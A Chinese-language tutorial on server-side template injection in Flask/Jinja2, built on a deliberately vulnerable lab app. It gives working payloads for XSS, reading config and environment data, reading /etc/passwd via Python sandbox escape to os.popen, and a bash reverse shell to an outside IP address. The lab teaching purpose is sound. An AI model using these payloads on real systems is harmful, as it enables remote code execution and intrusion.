SSTI模版注入

简介

SSTI(Server-Side Template Injection)漏洞是模版引擎在使用渲染函数的时候,由于代码不规范而导致的代码注入漏洞,模版引擎和渲染函数本身是没有漏洞的,该漏洞的产生原因在于程序员对代码的不严谨不规范,导致了模版可控,从而引发代码注入。

环境

  • python3.6
  • Flask框架

app.py中代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
from flask import Flask
from flask import render_template, render_template_string, request

app = Flask(__name__)


@app.route('/')
def hello_word():
return 'hello word!'


@app.route('/hello')
def hello():
return render_template('hello.html')


@app.route('/test1')
def test1():
html_content = 'use render_template_string'
return render_template_string(html_content)


@app.route('/ssti')
def test():
code = request.args.get('code')
html_content = '<h3>%s</h3>' % (code)
return render_template_string(html_content)


if __name__ == '__main__':
app.run(host="10.100.163.201")

访问5000端口如下所示

1

渲染方法

Flask中的渲染方法有两种,分别是render_template()render_template_string()

使用 render_template() 函数来渲染一个指定的文件 , 这个指定的文件其实就是模板。其模板文件一般放在 templates 目录下

我们在templates目录下创建hello.html文件

1
2
3
4
5
6
7
8
9
10
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>hello</title>
</head>
<body>
<h1>hello! Elssm</h1>
</body>
</html>

访问http://10.100.163.201:5000/hello如下所示

2

Flask 是使用Jinja2 作为渲染引擎的,在实际项目中 , 模板并不是纯 HTML 文件 , 而是一个夹杂模板语法的 HTML 文件 . 例如要使得页面的某些地方动态变化, 就需要使用模板支持的语法来传参数 ,比如我们可以在render_template()传入参数。

1
2
3
@app.route('/hello')
def hello():
return render_template('hello.html',content='this is a test')

这个时候将hello.html文件如下

1
2
3
4
5
6
7
8
9
10
11
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>hello</title>
</head>
<body>
<h1>hello! Elssm</h1>
<h3>{ {content} }</h3>
</body>
</html>

这个时候访问http://10.100.163.201:5000/hello如下所示

3

可以看到,在Jinja2中,使用{ {} }作为变量包裹的标识符,用于打印模版输出的表达式。

另一个渲染函数是render_template_string(),用来渲染一个字符串。

通过访问http://10.100.163.201:5000/test1查看

4

但是如果在该函数中没有做好有效的防范,就会造成一些严重的危害

XSS攻击

app.py文件中,我们通过/ssti路由可以发送GET请求,但是由于在后端没有对用户输入做一个严格的校验,这样就会产生XSS攻击。

常规的get请求
1
http://10.100.163.201:5000/ssti?code=test

5

xss攻击
1
http://10.100.163.201:5000/ssti?code=%3Cscript%3Ealert(1)%3C/script%3E

6

SSTI读取环境变量

对于Flask的模版渲染而言,如果我们要让服务器执行代码,需要将执行的命令包裹在{ {} }中,对于一个GET请求,包裹在{ {} }中的参数会被后端计算,然后将结果拼接到模版中,完成渲染后返回给用户。

request.environ

request是Flask框架中的一个全局对象,当我们访问request时可以看到当前的请求

7

request对象中有一个environ对象名,request.environ是一个与服务器环境相关的对象字典

8

config.items

congfig也是Flask框架中的一个全局对象,其中也包含一些敏感信息

9

SSTI任意文件读写

对于任意文件读写,我们可以通过python的os模块实现,在Jinja2中是可以直接访问python的一些对象及其方法的,如字符串对象及其upper函数,列表对象及其count函数,字典对象及其has_key函数,那么怎么能够在Jinja2模板中访问到python中的内置变量并且可以调用对应变量类型的方法,这就使用到了python沙盒逃逸。

python沙箱逃逸

沙箱逃逸就是在一个严格限制的python环境中,通过绕过限制和过滤达到执行更高权限的过程,这就需要执行一些命令,在python中,可执行命令的模块有如下

1
2
3
4
5
os
pty
subprocess
platform
commands
python魔法函数
1
2
3
4
5
6
7
8
__class__ 返回调用的类型
__mro__ 查看类继承的所有父类,直到object
__subclasses__ 获取类所有的子类
__bases__ 返回所有直接父类组成的元组
__init__ 类实例创建之后调用,对当前对象的实例的一些初始化
__globals__ 能够返回函数所在模块命名空间的所有变量
__getattribute__ 当类被调用的时候,无条件进入此函数
__getattr__ 对象中不存在的属性时调用

对于获取到os类从而达到命令执行的效果,具体的操作如下

获取字符串的类对象
1
2
>>> ''.__class__
<class 'str'>

10

寻找基类

这一步的目的是利用继承关系找到object类

1
2
>>> ''.__class__.__mro__
(<class 'str'>, <class 'object'>)

11

寻找可引用类

在object类下查找所有的子类,然后查找到可利用的类

1
2
>>> ''.__class__.__mro__[-1].__subclasses__()
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 're.Scanner'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'rlcompleter.Completer'>]

12

寻找含有os库的类
1
2
3
4
5
6
7
8
9
10
11
12
13
count = -1
for i in ().__class__.__mro__[-1].__subclasses__():
count += 1
#在初始化属性中,带wrapper的表示没有重载,因此我们寻找没有带wrapper
if "warpper" in repr(i.__init__):
pass
else:
try:
#__globals__全局方法,查找当前类包含的所有方法和变量及参数
if "os" in repr(i.__init__.__globals__):
print(count, i)
except:
pass

执行结果如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
64 <class '_frozen_importlib._ModuleLock'>
65 <class '_frozen_importlib._DummyModuleLock'>
66 <class '_frozen_importlib._ModuleLockManager'>
67 <class '_frozen_importlib._installed_safely'>
68 <class '_frozen_importlib.ModuleSpec'>
79 <class '_frozen_importlib_external.FileLoader'>
80 <class '_frozen_importlib_external._NamespacePath'>
81 <class '_frozen_importlib_external._NamespaceLoader'>
83 <class '_frozen_importlib_external.FileFinder'>
117 <class 'os._wrap_close'>
147 <class 'reprlib.Repr'>
154 <class 'functools.partialmethod'>
161 <class 'sre_parse.Pattern'>
162 <class 'sre_parse.SubPattern'>
163 <class 'sre_parse.Tokenizer'>
164 <class 're.Scanner'>

在上述中寻找是否存在文件读取的方法,例如openpopenfile等,最后我们在<class 'os._wrap_close'>类中找到了popen函数,从而可以达到任意文件读取的效果。

payload如下

1
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('cat /etc/passwd').read()

13

也可以使用Flask框架中的config全局对象来读取任意文件,payload如下

1
config.__class__.__init__.__globals__['os'].popen('cat /etc/passwd').read()

SSTI反弹Shell

因为我们可以调用到os模块,因此可以执行反弹shell,我现在自己的服务器上启动监听

1
2
3
4
elssm@VM-20-13-centos ~> nc -lvvp 9527
Ncat: Version 7.50 ( https://nmap.org/ncat )
Ncat: Listening on :::9527
Ncat: Listening on 0.0.0.0:9527

nc命令部分参数介绍

1
2
3
4
5
6
7
8
9
10
11
12
13
14
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-L 连接关闭后,仍然继续监听
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 随机本地及远程端口
-s addr 本地源地址
-t 使用TELNET交互方式
-u UDP模式
-v 详细输出--用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉--用于扫描时

反弹shell的payload如下

1
''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('bash -i >& /dev/tcp/42.193.150.138/9527 0>&1').read()

但是因为存在&字符,因此在URL解析中会出错,因此我们可以使用Burp构造

1
GET /ssti?code={{''.__class__.__mro__[-1].__subclasses__()[117].__init__.__globals__['popen']('bash%20-i%20>%26%20/dev/tcp/42.193.150.138/9527%200>%261').read()}}

14

成功连接

15